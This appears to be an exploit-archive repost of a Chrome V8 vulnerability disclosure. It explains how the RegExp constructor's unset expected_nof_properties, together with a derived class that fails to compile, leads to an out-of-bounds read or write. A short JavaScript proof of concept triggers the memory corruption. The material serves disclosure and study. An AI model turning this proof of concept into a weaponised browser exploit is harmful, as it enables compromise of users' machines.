google chrome v8 genesis::initializeglobal outofbounds readwrite

▸▸▸ Exploit & Vulnerability >>   dos exploit & multiple vulnerability




google chrome v8 genesis::initializeglobal outofbounds readwrite Code Code...
				
/* Bug: The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows: // Builtin functions for RegExp.prototype. Handle<JSFunction> regexp_fun = InstallFunction( global, "RegExp", JS_REGEXP_TYPE, JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize, JSRegExp::kInObjectFieldCount, factory->the_hole_value(), Builtins::kRegExpConstructor); InstallWithIntrinsicDefaultProto(isolate, regexp_fun, Context::REGEXP_FUNCTION_INDEX); Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate); shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub)); shared->set_instance_class_name(isolate->heap()->RegExp_string()); shared->set_internal_formal_parameter_count(2); shared->set_length(2); ... I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0. There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit. Exploit: This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties. Here's a snippet of the method. (https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966) MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate, Handle<JSFunction> constructor, Handle<JSReceiver> new_target) { ... // Fast case, new.target is a subclass of constructor. The map is cacheable // (and may already have been cached). new.target.prototype is guaranteed to // be a JSReceiver. if (new_target->IsJSFunction()) { Handle<JSFunction> function = Handle<JSFunction>::cast(new_target); ... // Create a new map with the size and number of in-object properties // suggested by |function|. // Link initial map and constructor function if the new.target is actually a // subclass constructor. if (IsDerivedConstructor(function->shared()->kind())) { Handle<Object> prototype(function->instance_prototype(), isolate); InstanceType instance_type = constructor_initial_map->instance_type(); DCHECK(CanSubclassHaveInobjectProperties(instance_type)); int embedder_fields = JSObject::GetEmbedderFieldCount(*constructor_initial_map); int pre_allocated = constructor_initial_map->GetInObjectProperties() - constructor_initial_map->UnusedPropertyFields(); int instance_size; int in_object_properties; CalculateInstanceSizeForDerivedClass(function, instance_type, embedder_fields, &instance_size, &in_object_properties); int unused_property_fields = in_object_properties - pre_allocated; Handle<Map> map = Map::CopyInitialMap(constructor_initial_map, instance_size, in_object_properties, unused_property_fields); ... return map; } } "unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass. Here's CalculateInstanceSizeForDerivedClass. void JSFunction::CalculateInstanceSizeForDerivedClass( Handle<JSFunction> function, InstanceType instance_type, int requested_embedder_fields, int* instance_size, int* in_object_properties) { Isolate* isolate = function->GetIsolate(); int expected_nof_properties = 0; for (PrototypeIterator iter(isolate, function, kStartAtReceiver); !iter.IsAtEnd(); iter.Advance()) { Handle<JSReceiver> current = PrototypeIterator::GetCurrent<JSReceiver>(iter); if (!current->IsJSFunction()) break; Handle<JSFunction> func(Handle<JSFunction>::cast(current)); // The super constructor should be compiled for the number of expected // properties to be available. Handle<SharedFunctionInfo> shared(func->shared()); if (shared->is_compiled() || Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) { DCHECK(shared->is_compiled()); expected_nof_properties += shared->expected_nof_properties(); } if (!IsDerivedConstructor(shared->kind())) { break; } } CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields, expected_nof_properties, instance_size, in_object_properties); } It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()". If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?). So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes. PoC: */ function gc() { for (let i = 0; i < 20; i++) new ArrayBuffer(0x2000000); } class Derived extends RegExp { constructor(a) { const a = 1; // syntax error, Derived->expected_nof_properties() skipped } } let o = Reflect.construct(RegExp, [], Derived); o.lastIndex = 0x1234; // OOB write gc(); /* int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1 constructor_initial_map->UnusedPropertyFields(); // 0 int instance_size; int in_object_properties; CalculateInstanceSizeForDerivedClass(function, instance_type, embedder_fields, &instance_size, &in_object_properties); // in_object_properties == 0, pre_allocated == 1 int unused_property_fields = in_object_properties - pre_allocated; Another bug? There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part. */

Google chrome v8 genesis::initializeglobal outofbounds readwrite Vulnerability / Exploit Source : Google chrome v8 genesis::initializeglobal outofbounds readwrite



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.